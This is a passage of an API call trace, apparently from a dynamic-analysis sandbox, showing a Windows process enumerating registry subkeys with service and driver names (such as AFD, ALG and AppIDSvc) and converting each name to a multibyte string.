RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0249.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.095] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0249.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0249.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.095] RegEnumKeyW (in: hKey=0x154, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0249.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0249.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.096] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.096] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.096] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.096] RegEnumKeyW (in: hKey=0x154, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0249.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0249.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.096] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.096] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.096] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.096] RegEnumKeyW (in: hKey=0x154, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0249.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1b68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0249.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.096] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.096] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.096] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.096] RegEnumKeyW (in: hKey=0x154, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0249.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0249.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.097] RegEnumKeyW (in: hKey=0x154, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0249.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0249.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.097] RegEnumKeyW (in: hKey=0x154, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0249.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0249.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.098] RegEnumKeyW (in: hKey=0x154, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0249.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0249.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.098] RegEnumKeyW (in: hKey=0x154, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0249.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0249.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.098] RegEnumKeyW (in: hKey=0x154, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0249.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0249.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.098] RegEnumKeyW (in: hKey=0x154, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0249.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0249.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.099] RegEnumKeyW (in: hKey=0x154, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0249.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0249.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.099] RegEnumKeyW (in: hKey=0x154, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0249.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0249.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.099] RegEnumKeyW (in: hKey=0x154, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0249.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0249.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.100] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0249.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0249.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.100] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0249.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0249.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.100] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0249.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0249.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.100] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0249.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0249.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.101] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0249.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0249.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.101] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0249.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0249.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.101] 